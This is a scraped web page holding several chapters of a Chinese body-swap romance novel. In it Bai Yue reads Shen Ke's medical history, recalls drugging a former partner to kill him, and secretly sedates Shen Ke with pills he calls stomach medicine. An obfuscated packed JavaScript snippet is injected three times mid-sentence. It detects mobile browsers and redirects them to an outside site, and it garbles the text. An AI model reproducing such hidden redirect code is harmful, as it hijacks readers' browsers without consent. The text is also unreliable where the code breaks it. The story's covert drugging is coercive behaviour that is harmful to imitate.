好像有点甜,有点酸,又有点苦。人生五味酸甜苦辣咸,他这一下子就尝到了三样。剩下的两样估计也好不到哪儿去。 白越把那张最新的照片单独拿出来,放在一边。剩下的他重新理好,整整齐齐地码在茶几上。 然后他拿起另一个大一些也厚一些的文件袋。 封面写着几个字:沈恪,个人档案及医疗记录。 第一页是基本信息。出生日期,户籍地址,家庭成员。父亲“沈建国”,母亲“李秀梅”,妹妹“沈霏”,都是很普通的名字,他们一家只是一个普普通通的工薪家庭,过着普普通通的生活。 第二页是入学记录。小学,初中,然后是一片空白。初中甚至都没读完,上面只写着“因病休学”几个大字。 白越的视线在那几个字上停了片刻,然后翻到下一页。 第三页是住院病历摘要,日期从十八年前开始。 新生儿科,住院时间:45天。诊断栏写着:“先天性发育畸形”。 白越的目光停住。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265394|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他往下看。备注:出生时登记为男性,经家属同意保留男性社会性别。后续进行过多次矫正手术,分别在六岁、九岁、十二岁…… 一个孩子从刚会走路的年纪就开始反复被推进手术室。 他几乎能想象出那个画面。小小的孩子躺在手术台上,身边没有爸爸妈妈,只有戴着口罩的医生。麻药推进去的时候会不会哭?醒过来的时候疼不疼?有没有人握着他的手,告诉他没关系? 应该没有吧。 病历上没有备注谁陪着他,没有记录他哭过几次,有的只是手术日期和冷冰冰的医学名词。 真厉害啊,宝宝。 这样也能好好地长大。 没有被那些疼痛磨碎,还是那么乖,那么软,那么容易相信人。 白越把那张纸翻过去,继续往下看。 下一页是更详细的病程记录。密密麻麻的字,记录着每一次入院、每一次出院、每一次手术后的恢复情况。 他翻到中间一页。 那页的日期是九月十三日。诊断栏写着:心脏骤停(术中),抢救成功。 手术时长:4小时27分。麻醉方式:全麻。抢救记录:电除颤×2,肾上腺素×3…… 白越的视线停在那行字上。 九月十三日?好像有点熟悉。 他忽然想起一件事。 那一天,也是他原本打算杀掉温清然的日子。 那个废物。 其实白越不太在意温清然渣不渣,他见过太多烂人,温清然在里面都排不上号。他在意的从来不是这个。 他在意的是,温清然是第一个愿意主动靠近他说喜欢他的人。 哪怕那是假的,是带着恶意的玩弄,他也无所谓。假的也行。只要有人愿意在他身边待着,哪怕是演的,也行。 他不需要真的感情。他只是需要一个人。 可温清然演着演着,忽然不想演了。他好像察觉到了什么,想分手。 那自己就不需要他了,一个不合格的演员不配继续站在舞台上,更不配挤占未来其他演员的生态位。 就这么简单。 他下了药。那杯酒。剂量足够让温清然安静地消失。 后来呢? 后来温清然没死。 后来醒来的是沈恪。 白越的呼吸停了一瞬。 他看着病历上那行字:“心脏骤停(术中)”。 那是同一天吗? 心脏骤停,然后呢?然后发生了什么?沈恪为什么会变成温清然? 如果那四分钟没有救回来呢? 如果电除颤没有起作用呢? 如果肾上腺素推下去,心脏还是没有重新跳起来呢? 那沈恪就真的死了。 还是说…… 白越紧紧攥着那张纸。 他不知道,但他忽然有了一个猜测。 也许,沈恪真的死过一次。 在温清然没了反应的四分钟里。在他以为计划失败的时候。 也许,是那四分钟,让两个濒死的人的灵魂交换了位置。 也许,是他亲手把沈恪送到了自己身边。 这个念头像一道闪电,劈进他脑子里。 他愣在那里,很久很久。 他低头看那张病历,又看看旁边那叠照片。 照片里,沈恪从十一二岁开始,一点一点长大,一点一点变得安静。 最后一张,是他羞红着脸的照片。 那是现在的沈恪。 是活着的沈恪。 是他亲手送到自己身边的沈恪。 白越把那叠照片重新拿起来,一张一张,从头到尾,又看了一遍。 小学门口,笑得灿烂的沈恪。 初中门口,笑容变淡的沈恪。 病房里,捧着书的沈恪。 走廊上,扶着扶手走路的沈恪。 检查台上,闭着眼睛的沈恪。 生日那天,对着镜头笑的沈恪。 睡着时,蜷成小小一团的沈恪。 最后,病房里脸红红的沈恪。 他把最后那张单独拿出来,放进了自己外套内侧的口袋里,放在了贴着心脏的位置。 剩下的他重新理好,和病历一起装回了文件袋,放进了抽屉里锁好。 然后他站起来,走出卧室。 客厅的沙发上,有一只靠枕歪在那里,是沈恪平时窝着看书时喜欢靠的那个。 白越走过去,拾起那只靠枕,坐进沙发里,然后把靠枕抱在怀里,下巴抵着那柔软的布料。 枕头上还有一点很淡的味道。干净的,柔软的,像晒过的棉花。 他闭上眼睛,将脸埋进去,轻轻地吸了一口。 脑子里浮现的是病历上那几行字:心脏骤停,抢救成功。 还有照片里那张从灿烂到安静的脸。 他忽然想,如果那四分钟没有救回来,他现在会是什么感觉? 什么感觉都没有。因为他根本不会知道这个世界上有过这个人。 但现在他知道了。 现在他闻得到他的味道,看得见他的笑,握得住他的手。 现在他是他的了,是他亲手送到自己身边的。 白越把脸更深地埋进枕头里。 他忽然想,要不要告诉沈恪? 告诉他,那天发生了什么。告诉他,也许是他让他活下来的。告诉他,他们之间的缘分,从一场死亡开始。告诉他,或许交换身体的契机是死亡。 但那个念头只闪过一秒,就被他按灭了。 不行。不能说。 说了,沈恪会怎么想? 他会害怕吗?会觉得这一切都是假的吗? 更重要的是,如果说了,沈恪还会像现在这样,毫无防备地靠近他吗? 显然不会。 他的小鹌鹑一定会想着逃跑,想着再死一次能不能换回去,从而去进行那些危险的尝试。 那双湿漉漉的眼睛里,会多出别的什么。警惕。害怕。疏远。甚至有可能会恨他,恨他让他活在谎言中间。 光是想象那个画面,白越就觉得不舒服。 不能让他知道。 他要把那些事,那些秘密,那些巧合都藏起来。藏在自己心里。藏在这个没人会打开的抽屉里。 永远不让他知道。 只要他不知道,他就会一直这样待在自己身边。 乖乖的,软软的,会脸红,会小声说着晚安白越,会在他靠近的时候手足无措。 这样就够了。 白越从枕头里抬起脸,侧过头,看着窗外浓得化不开的夜色。 他忽然笑了一下。 原来你死过一次。 真好。 你没死成。 你活下来了。 然后你遇见了我。 然后—— 你永远都别想再离开我。 26. 看一整夜 日子一天一天地溜走了。 十月剩下的时间里,沈恪渐渐习惯了这种普通大学生的生活。白天上课,没课的时候被祈愿他们拉着出去吃饭逛街到处嗨;晚上白越会准时出现在校门口,牵着他回那个已经不那么陌生的家。 他开始记得学校附近最好吃的几家店的位置,记得从校门到别墅区要经过几个红绿灯,记得白越车上常放的那几首歌。 也开始习惯一些小小的细节。 比如有天晚上,他和祈愿安阳他们在校外吃了晚饭,结果吃得满身油烟味。回来时天已经黑了,天上不知道什么时候开始下起了毛毛雨,街灯亮起来,把影子拉得很长。 白越的车就停在路口。他靠在车门上,不知道等了多久。 沈恪小跑过去,拉开副驾驶的门坐进去,身上还带着烤肉的香味。 “等很久了吗?”他一边系安全带一边问。 白越没说话。他只是侧过身,用力地握住了沈恪的手,力气大的骇人。 “痛!”沈恪轻轻呼了一声,下意识想抽回来。 白越像是突然惊醒,立刻松了力道。 “抱歉。”他垂着睫羽,语气很轻,“等久了,有点冷。” 沈恪想说“不用等我的”,但看到白越那有些落寞的表情,话到嘴边又咽了回去。 这个时候说这种话还是太不合时宜了,这不纯纯打击别人好意来的嘛。他已经让白越等了那么久,不能再说这么没心没肺的话。 他不希望自己和温清然一样。 “我、我给你捂捂吧。”他小声说,双手握住白越那只冰凉的手,放进自己外套口袋里。 白越愣了一下,随即弯起眼睛。 “好。” 他说着,在沈恪的口袋里轻轻回握了一下。 还有一次,是十月底的周末。 祈愿说想去看新上映的电影,安阳和顾云岚也去。沈恪想了想,觉得应该没什么问题,就答应了。 白越送他到电影院门口,说有事要处理,晚点来找他。 电影很热闹,是部喜剧,安阳笑到狂拍顾云岚大腿,拍得顾云岚拧着眉头微笑着掐他的腰,俩人像幼稚园的小朋友一样掐来打去。沈恪也笑了,但笑完总有点心不在焉,下意识想看手机。 “等谁消息呢?”祈愿瞥他一眼。 “没、没有。”沈恪把手机收起来。 电影散场时天已经黑了。他们勾肩搭背着刚走出影院大门,沈恪就看见白越站在不远处,还是那辆黑色卡宴,还是那个靠在车门上的姿势。 “那我先走了。”他跟祈愿他们打了个招呼,小跑过去。 白越在他靠近的瞬间直起身,没给他反应的时间,伸手一揽就将人带进怀里。手臂箍得有点紧,下巴抵在他肩窝,呼吸就落在耳侧。 好突然。 沈恪僵了一下,手不知道该往哪放:“……还有人看着呢。” “嗯?”白越这才像刚发现似的,偏头朝祈愿笑了笑,手臂却没收回去,反而把沈恪往怀里带了带,“抱歉,没注意,你们好。” 这绿茶精 。 祈愿的目光在两人之间转了一圈,没接话,反而看向沈恪:“我们打车回去,你要不要一起?你家离学校比较近吧?” 沈恪犹豫了一下。 白越没有说话。他只是轻轻松开了手,往后退了半步。很自然的一个动作,像是给沈恪让出选择的余地。然后他笑了笑。 “去吧,宝宝。”他说,声音和平常一样温和,“我开了这么久的车过来,就是想看看你。现在看到了,你跟朋友回去也方便,明天还要上课。” 他说着,抬手替沈恪拢了拢外套领口,指尖擦过裸露的皮肤,在那停留了小片刻。 “路上小心。” 沈恪看着他的脸。那双眼睛还是弯着的,笑盈盈的,和平时一样好看。 但不知道为什么,沈恪就是觉得好像有哪里不太一样。他说不上来。 “……不用了。”他转向祈愿,声音不自觉地软下来,“我不去了,你们先回吧,白越会送我回家的。” 祈愿挑了挑眉。他的目光在白越脸上扫过,又收回来,最后只是扯了扯嘴角:“行,走了,不打扰。” 转身的时候,他在心里骂了一句。 装什么装。 陪着温清然鬼混时他在酒桌上见过太多次这种把戏了,以退为进,卖惨装乖,让对方自己选,选完了还要说“没关系你开心就好”。 可偏偏有人吃这套。 他余光扫了眼沈恪。那傻子正低着头,耳尖红红的,一副被吃得死死的模样。 这白痴,明明白越的伎俩那么明显为什么他就是看不出来。 笨。 祈愿懒得再看,迈步往前走。 等人走远了,白越才重新伸出手。他握住沈恪的手,指腹在他腕骨上轻轻摩挲,声音低低的:“真的不去了?” “嗯。”沈恪别过脸,耳尖有点热,“你都开这么久的车了。” 白越低笑了一声。他没有说话,只是将沈恪往怀里带了带,下巴抵在他肩窝,呼吸落在耳侧。 “那再让我抱一会儿,宝宝。” “……有人看着呢。” “现在没有了。” *** 十一月来得很快,带着一场淅淅沥沥的雨。 那天下午没课,沈恪窝在温清然别墅客厅的落地窗边。面前摊着一本从图书馆借来的植物图鉴,他趴在地毯上,用指尖轻轻戳着书页上一种蓝色的花。 “蓝雪花。”他小声念着图鉴上的字,“真好看……” 医院的花坛里好像没有这种。 白越坐在不远处的单人沙发里,膝盖上放着笔记本电脑,屏幕上是他看不懂的曲线和数据。他穿着米白色的家居服,领口松了一颗扣子,看起来比平时少了几分阴郁,多了些居家的柔软。 听到沈恪的自言自语,他敲键盘的手指停了停,目光从屏幕移到窗边那个趴着的背影上。 沈恪今天穿的是他准备的衣服。柔软的浅灰色棉质长裤,同色系的宽松卫衣,袖口有些长,盖住了半截手背。金色的头发没有打理,软软地垂在额前,整个人缩成一团。 像只误入陌生领地、正在谨慎探索的小动物。 明明就是同一张脸,为什么给人的感觉会完全不同呢? “你喜欢吗?”白越冷不丁地开口。 沈恪正沉浸在自己的世界里,闻言吓了一跳,猛地回头,看到白越笑眯眯的表情后不好意思地笑了笑,把书合上一半:“就是觉得颜色很特别……以前没见过。” “花园里可以种。”白越合上电脑,站起身走过来,在他身边蹲下,“不过它的花期在7到9月,明年可以看看。” “真的吗?”沈恪的眼睛立刻亮了,但很快又黯淡下去,“这样啊。” 要等足足一年。大概率……是没办法和白越一起看了。他自己也不知道自己什么时候会突然换回去。 白越好像看出他心中忧虑似的,摸了摸他的头,笑得纵容:“宝宝想去花园看看吗?外面雨小了些。” 沈恪看了看窗外。雨确实小了,从之前的瓢泼变成了细密的雨丝。他犹豫了一下,点点头:“好。” 他还没去白越家的后花园看过呢,虽然每次路过都会瞥一眼,但从来没有正式进入过。 白越起身去拿了把很大的黑色雨伞,然后很自然地朝沈恪伸出手。 虽然每次还是会有点不好意思,但沈恪已经习惯了这种牵手。他把自己的手放进白越微凉的掌心,借力站起来。白越的手总是这么凉,沈恪想过是不是体质问题,还偷偷查过体寒如何调理的网页。 花园比沈恪想象中大得多,精心打理过,即使在下雨天也透着井然有序的美感。雨水洗过的绿叶格外鲜亮,空气里有潮湿的泥土和植物清香。 沈恪好奇地左看右看,脚步轻快。白越撑着伞,不紧不慢地跟着他,伞面大半倾向沈恪那边。 “那是玫瑰吗?”沈恪指着一丛修剪整齐的灌木。 “月季。”白越纠正,“品种是果汁阳台,秋天会开橙黄色的花。” “那个呢?” “绣球。无尽夏,花期很长。” 沈恪像发现了新大陆,一个问题接一个问题。白越都一一回答了,耐心得出奇。他甚至会蹲下来,拨开被雨水打湿的叶片,指给沈恪看嫩芽或花苞。 走到一株叶片肥厚、开着白色小花的植物前时,沈恪没忍住,伸手轻轻碰了碰花瓣。 “这是栀子。”白越的声音在很近的地方响起。他不知何时也弯下了腰,呼吸几乎拂过沈恪的耳廓,“很香。” 沈恪确实闻到了那股浓郁的甜香。他点点头,想收回手,指尖却不小心碰到了白越同样伸过来想要指给他看叶脉的手背。 冰凉的触感让他一个激灵。 “你的手好冰。”沈恪脱口而出,说完才觉得这话有点突兀,连忙补充,“……我是说,下雨天,可能有点冷。” 白越直起身,垂眸看着自己苍白的手背,又看看沈恪有些无措的表情,忽然轻轻笑了笑:“嗯,一直这样。体质问题。”他顿了顿,用一种近乎闲聊的语气补充,“小时候更严重,冷得像冰块。家里的佣人都不太敢碰我。” 这句话说得轻描淡写,沈恪却没他那么无所谓。 他只觉得……有些难过。 他想起白越那些得不到回应的消息,想起温清然这个渣男对他做过的事。一个从小手冰凉到没人敢碰的孩子,长大后遇到一个对他好的人,哪怕那份好是假的,是带着恶意的,也会像抓住救命稻草一样不肯放手吧? 好像有些理解白越为什么会这么粘人了。 沈恪心里那点同情又开始泛滥。 他犹豫了一下,做了个自己事后回想都觉得大胆的举动。他伸出双手,轻轻握住了白越没有撑着伞的那只手,将它捧起来,贴在了自己发烫的脸颊上。 白越明显僵住了。 沈恪的脸颊本来就热,贴上那片冰凉的时候,舒服得他轻轻吸了口气。他不敢看白越的眼睛,只是低着头,用双手捂着那只手,让它贴在自己脸上。 “这样……会不会好一点?”他的声音闷闷的,从指缝里挤出来,“手的温度,可以传过去的。” 这是以前冬天护士姐姐教他的,手冷的时候可以互相搓搓,或者捂着。可是白越的手那么大,他穿的卫衣又没有口袋,思来想去,只能用脸了。 白越的手指在他掌心轻微地颤了一下。 那只手没有抽走,就那么贴着沈恪的脸颊,感受着那一片滚烫的温度。凉意从接触的地方漫过来,又好像有什么更热的东西从指尖渗进去。 然后,沈恪感觉自己的手被反握住了。白越的另一只手覆上来,轻轻按住他捂在自己脸上的手背。 “嗯。”白越低声应道,声音有些哑,“好多了。” 他没说谢谢,也没松开手。两人就这么静静地站在细雨中,伞下形成一个小小的空间。 噗通。噗通。 沈恪能听到自己过快的心跳,也能感觉到白越落在他脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265395|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线。他有些不自在,但又觉得此刻抽回手太伤人。 过了好一会儿,白越才轻轻松开他,语气恢复了平时的温和:“雨好像又大了,回去吧。你该吃药了。” “啊?药?”沈恪茫然。 “胃药。”白越转身往回走,伞依然倾向他这边,“阿然你不是一直说胃有点不舒服吗?” 沈恪这才想起来,温清然好像是有点这个毛病,在刚交换身体那段时间白越也有提过。他自己都没放在心上,白越居然记住了。 可是……他没觉得自己有胃不舒服啊? 这个念头只闪过一瞬,就被他按下了。 可能是今天吃多了,或者刚才淋了雨,自己没察觉。白越肯定是为他好。 沈恪哦了一声,乖乖跟着往回走。 白越走在他前面半步,伞稳稳地遮着他,自己的半边肩膀都淋在雨里。 胃药? 温清然确实胃不好,但他根本不会在白越面前提。那个废物从来不屑于在他面前示弱,不对他进行一些侮辱性的打骂都算好的。 这个借口只是他从沈恪刚换过来时随口编的。 那时候他不知道这个死而复生的家伙是什么情况,只是想找个理由试探试探,让自己能名正言顺地接近他、在他心里种下一点依赖。 后来种下的东西,比预想的多得多。 现在这个理由依然好用。 他的小鹌鹑从来不会怀疑。别人说什么,他就信什么。别人对他好,他就记在心里。 太好骗了。 白越把伞又往那边偏了偏。 他当然知道沈恪没有胃不舒服。 但那又怎样?他说有,那就是有。他说要吃药,那就是要吃。 那些药片有些温和的助眠成分,对身体无害。只是会让沈恪在吃完饭后不久,觉得困,觉得累,觉得想睡觉。 然后他会在沙发上睡着,或者靠在白越身上睡着,或者干脆直接躺在床上睡着。 然后白越就可以坐在旁边,看他一整夜。 这就很好了。 乖一点,宝宝。吃了药,好好睡一觉。 *** 回到温清然别墅内,白越去厨房倒了温水,又从一个白色小药盒里取出两片药片,仔细看了看说明,才递给沈恪。 沈恪接过,乖乖吞下。药片有点苦,他皱了皱眉。 “给。”一杯冒着热气的红茶适时地递到他面前,里面飘着一片柠檬和一点点蜂蜜,“压压苦味。” 沈恪捧住杯子小口喝着,忽然想起什么,抬头看向坐在对面重新打开电脑的白越,小声问:“那个……白越,你吃饭了吗?” 白越敲键盘的手指一顿,抬眼看他:“还没。宝宝饿了?” “不是,”沈恪摇摇头,耳尖有点红,“我是想……如果你不介意的话,我、我可以试试做午饭?总是你做饭……不太好。” 他说得很没底气。他只见过三个人做饭,一个是他爸,一个是他妈妈,还有一个是食堂的阿姨。他自己最多帮妈妈打过下手,连完整的炒菜都没做过。 白越静静地看了他几秒,然后合上电脑,唇角弯起:“好,需要我帮忙吗?” “不用不用!”沈恪连忙摆手,“你、你坐着就好!我就是……想试试。” 他说完就有点后悔了。万一把厨房烧了怎么办? 但白越已经站起身,走到他面前,很轻地揉了揉他的头发。这个动作最近出现得越来越频繁,而沈恪不知为何,总是无法对这个动作产生警惕或排斥,甚至会觉得舒服。 “那我去书房处理点事情。”白越说,“需要什么就叫我。” 沈恪点点头,看着白越上楼的背影,深吸一口气,转身走向厨房。 半小时后。 白越被一股微妙的气味请下了楼。 厨房里,沈恪正对着锅里一团颜色可疑的物体发愁,脸上还沾了点面粉。听到脚步声,他像受惊的兔子一样转过身,手里还拿着锅铲,表情又懊恼又后悔。 “我、我本来想做炒饭的……”他声音越来越小,“但是好像……水放少了?还是火太大了?” 白越走到他身边,看了眼锅里惨不忍睹的作品,眼里闪过笑意。 他接过沈恪手里的锅铲,关掉火,然后很自然地抬手,用拇指指腹轻轻擦掉沈恪脸颊上的面粉。 “第一次能做成这样,很厉害了。”他的语气真诚得让沈恪差点信了,“下次我教你。今天……”他看了看墙上的钟,“叫外卖吧?我知道有家店的粥不错,你胃不好,喝点粥比较好。” 沈恪蔫蔫地点头,像只被雨淋湿后耷拉着耳朵的小狗。 外卖很快送到,是清淡可口的鸡丝粥和几样小菜。两人在餐厅安静地吃完。白越吃得不多,大部分时间都在看着沈恪小口小口喝粥,偶尔帮他夹一点小菜。 饭后,雨又大了起来,敲打着玻璃窗。 沈恪抱着膝盖窝在客厅沙发里,看着窗外被雨水模糊的世界。不知道是不是因为吃过药的原因,忽然觉得有点困。 他眼皮开始打架,脑袋一点一点。 意识模糊前,他感觉身上被轻轻盖了条毯子,有人轻轻地拨了拨他额前的碎发。 然后,他听到一个很低很低的声音: “这样就好。” “就这样……留在我身边。” 沈恪想睁眼,想问“什么”,但睡意像潮水一样涌上来,将他彻底淹没。 他沉入黑暗前最后一个模糊的念头是:白越的手……好像比刚才暖一点了。 27. 会撒谎了 醒来时,窗外已经彻底黑了。 雨还在下,但小了许多,雨点打在窗上,啪嗒啪嗒的。客厅只开了角落的一盏落地灯,光线昏黄。虽然白越不在身边,但毯子都好好地盖在他身上,边角也被仔细掖好。 沈恪迷蒙地眨了眨眼,刚想坐起来,手机响了。 他摸过来看了一眼,打来电话的是个陌生号码。犹豫了一下,还是接了。 “喂?您好?” “您好!”电话那头是个年轻女人的声音,带着明显的激动和感激,“我是林未晚,不知道您还记不记得……A市台球厅那次,您帮过我!” 沈恪愣了一下,刚醒的脑子还有点迷糊,好几秒才反应过来。 是国庆那一次,当时他们和那几个社会人打了架,林未晚是那个彪形大汉的女朋友,他帮了她一波,然后交换了联系方式。 “我记得的。”他坐直了些,“有什么事吗?” “就是……想跟您说一声,张强的判决下来了,三年。”林未晚的声音有点哽咽,“我知道这跟您没关系,但是……但是我实在想不到还能是谁在背后帮了我。那天之后没多久警察就重新立案调查了,查出了他之前的违法犯罪记录……我、我真的不知道该怎么感谢您才好。” 沈恪张了张嘴。 他什么都没做过。 那天他只是挡了一下,后来去了派出所接受调解,再后来就回了C市。他没有提供过其他证据,没有做过任何能让张强被判刑的事情。 那会是谁?是祈愿吗?还是安阳? “喂?您还在吗?”林未晚的声音把他拉回来。 “啊,在的。”沈恪连忙说,“那个,不用谢我,我没做什么。你、你以后照顾好自己就行。” 又聊了几句,林未晚再三道谢后才挂断电话。 沈恪握着手机,坐在沙发上发了一会儿呆。 他想起刚才半梦半醒时听到的那句话。 “就这样……留在我身边。” 心跳忽然快了一拍。 他说不清那是什么感觉,有什么东西悄悄地从心底冒了出来。像雨后的嫩芽,还没来得及看清是什么,就缩回去了。 白越喜欢他,喜欢现在的他,喜欢变好后的阿然。 这个认知让沈恪心里软软的。能被一个人这么依赖,这么需要,是一件很好的事,他从没被人这样对待过。 可是他总不能演一辈子的温清然。 如果有一天换回去了呢?如果有一天白越发现,那个让他喜欢的人根本不存在,只是另一个人披着别人的皮呢? 他还会说“留在我身边”吗? 沈恪低下头,手指攥紧了毯子的边角。 他有些开心,还有点难受,情绪像是调色盘一样被打翻了混在一起。 楼梯上传来脚步声。 沈恪下意识把手机放下,转头看向楼梯口。 白越端着一杯温水走下来,看见他醒了,弯了弯眼睛,目光从沈恪的脸上慢慢扫过去。 刚清醒了不久的沈恪头发乱糟糟的,几缕翘起来,几缕贴在额头上。脸颊上还带着睡醒的红晕,看着就和刚出炉的面包软乎。眼睛也还没完全睁开,睫毛垂着,盖住了底下湿漉漉的光。眨一下,又眨一下,好像还没搞清楚自己在哪里。 整个人缩在毯子里,头发乱着,眼睛眯着,脸上红扑扑的。 白越的视线落在那双半睁半闭的眼睛上,停住了。 那双眼睛终于聚焦,迷迷糊糊地看向他,眨了眨,认出是谁了,嘴角轻轻动了下,笑里浸了几分甜:“晚上好呀。” “晚上好。” “醒了?刚好,把药吃了再睡吧。”白越把水杯和药片递过来,自然地在他身边坐下,“睡得好吗?” 沈恪接过水杯,药片还是那两片白色的胃药。 他低着头,把药送进嘴里,喝了一口水。 “……白越。”他忽然开口。 “嗯?” 沈恪抬起头,看着那双格外温柔的眼睛。他想问问白越那句话到底是什么意思,话到嘴边又咽了回去。 他发现自己和最开始不一样了,已经不敢去直接坦白自己的身份了。 真糟糕。 “……没什么。”沈恪小声说,“就是想谢谢你。” 白越愣了一下。 他看着沈恪慢慢移开视线的样子,看着那双躲闪的眼睛,看着那一点点从脸颊漫上耳尖的红。 然后他笑了。笑得又轻又浅,像是被取悦到了。 “不用谢。”他伸手揉了揉沈恪的头发,指腹在发丝间蹭了蹭,“宝宝睡得好就行。” 沈恪低着头,没说话。 但他能感觉到,那道视线还在,一直在他身上。 窗外的雨还在下。 沈恪捧着水杯,没有再抬头。 *** 深夜,不知道是不是白天睡饱了的原因,沈恪趴在床上翻来覆去地睡不着。 索性拿出手机刷一会儿。 祈愿滴滴滴滴地给他发着沙雕视频,沈恪点开来看了几个,被逗得咯咯地笑,开始一条一条地往上回复着未读消息。 祈愿很快给了回应。 【Yuan】十二点了,还没睡呢? 【Yuan】别拿温大少的头发不当头发啊! 【然】嘿嘿 【然】睡不着 【Yuan】有故事? 【Yuan】说来听听。 沈恪犹豫着,还是把电话的事和他说了。 说完,另一头沉默了很久,然后才发来消息。 【Yuan】不知道,不是我干的,我没那么热心。 【Yuan】就我对安阳和顾云岚的了解,他俩也没那么热心。 沈恪缩在被窝里,手机屏幕的光映在脸上。 他想起那天在台球馆的事。 当时他刚到,还不知道发生了什么,就看见祈愿被一群人围着。 为首那个男的,沈恪后来才知道叫张强,长得又高又壮,胳膊上全是乱七八糟的纹身,脸喝得通红,手指头都快戳到祈愿脸上去了,说祈愿逞英雄。其他的话,他嘴里骂的很难听,沈恪不太想回忆。 但更让他忘不掉的,是他旁边的林未晚。很瘦,很小,脸上有个很红的巴掌印,半边脸都肿起来了,一看就是刚被打过。她抬起头的时候,沈恪看见她眼睛里全是泪。 就是那一刻,张强举起球棍朝祈愿砸过去。 沈恪也不知道自己怎么就冲上去了。可能是那个女生的眼泪,也可能是张强那张脸太让人讨厌了。他当时什么都没想,就挡在了祈愿前面。然后那一棍子就砰的一下砸在他胳膊上了。 痛得要死。 但沈恪现在想起来,觉得也值。 刚刚那个女生打电话来说谢谢他,说张强被判了三年。 沈恪眨了眨眼。如果真的是白越做的…… 他翻了个身,把手机举高了一点,给祈愿打字。 【然】不会啊,我觉得你挺热心的。 【然】当时林未晚被打了,是你阻止了张强吧? 手机那头,祈愿盯着屏幕上的这几行字,沉默了很久。 这人到底知不知道自己在说些什么。那只是顺手,顺手而已。有什么热不热心的。 想到他冒领了白越的功劳,想到先前白越问的那一句“你喜欢他吗”,那股烦躁又翻涌上来。 他啧了一声。 不是他,不是安阳,不是顾云岚,还能是谁?不就只剩下那个总是能莫名其妙得知沈恪动向的白越了吗。 这笨蛋怎么连简单的排除法都不会做。 祈愿长叹一口气。他犹豫片刻,最终还是没忍住: 【Yuan】是白越吧。 发出去的那一刻,他心跳得厉害,几乎是立刻就按了撤回。 消息已撤回。 【Yuan】困了,晚安。 沈恪眨了眨眼。 他还在想白越是怎么知道台球馆的事情的,就看到祈愿撤回了那条消息,然后说了晚安。 他平常不是都会熬到两三点的吗?好奇怪。 【然】晚安。 手机息屏后,沈恪盯着黑暗中的天花板,反复在想那一句“是白越吧”是什么意思。 难道白越才是那个帮了林未晚的人? 可是好奇怪,他怎么会知道这个事。当时怕他担心,自己都没有把这个事情对他说。 沈恪咬了咬下唇。 还有祈愿。他撤回的那么快,是不希望他看到吗?可是为什么啊? 沈恪翻了个身,把脸埋进枕头里。 他决定直接问。 是的,直接问。 他其实不太喜欢拐弯抹角。有什么说什么,想得到答案就直接问,这个习惯是在医院里养成的。护士姐姐们都说他乖,说他听话,非常配合治疗,很令人省心。 但其实他只是觉得,藏着掖着好累。想什么就说出来,心里就轻松了。总比自己猜来猜去要好多了。他又不是那种能猜明白的人。 沈恪拿起手机,点开白越的对话框,开始打字。 打到一半,他停下来,把打好的字全删了。这样问会不会太直接了?可是……不直接问,要怎么问? 沈恪挠了挠头,想了想,重新开始打字。 【然】小猫探头.jpg 对面秒回。 【白越】摸摸小猫.jpg 【白越】还没有睡吗,宝宝。 【然】嘿嘿,睡不着,想来问你点事。 【白越】嗯,你问。 沈恪几乎没有犹豫,直接零帧起手: 【然】白越,林未晚那个事情,是不是你帮的忙呀? 对面没有立刻回复。 沈恪盯着屏幕,心跳扑通扑通跳。 几秒后,消息弹出来。 【白越】林未晚? 【白越】不认识啊,宝宝。 沈恪愣了一下,连忙打字解释。 【然】就是国庆在A市的时候,我们在台球馆遇到一个女生。她男朋友打她,我们拦了一下。刚刚她打电话来说,她男朋友被判了三年,说有人在背后帮了她…… 【然】我就在想,是不是你? 这次回复来得很快。 【白越】这样啊。 沈恪等着下文。 但下文没有来。 屏幕上只有那三个字,安安静静地躺着。 “这样啊。” 什么意思? 沈恪眨眨眼,想追问,又不知道该怎么问。 【白越】宝宝怎么突然想到问我? 【白越】是谁和你说的,是我做的吗? 沈恪打字的手顿了一下。 是谁和他说的?祈愿没说,只是发了一句“是白越吧”又撤回了。 既然会撤回,那就是不想让他说出去。祈愿这个人虽然总是一副不耐烦的样子,但对他挺好的,他不能把祈愿供出来。 【然】没有人说,我自己猜的。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265396|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然】就想问问你。 这一次,白越没有立刻回复。 屏幕上方显示“对方正在输入”,闪了几秒,又停了。然后又开始闪。 沈恪盯着那行字,心悬了起来。 终于,消息弹出。 【白越】宝宝好聪明。 沈恪:“……” 这是承认了还是没承认? 他正想追问,白越的消息又来了。 【白越】不过现在很晚了哦。 【白越】宝宝明天还要上课吧? 【白越】先睡觉,好不好? 【白越】有什么事,明天再说。 沈恪张了张嘴,想说什么,又发现自己确实不知道该说什么。 【然】……好。 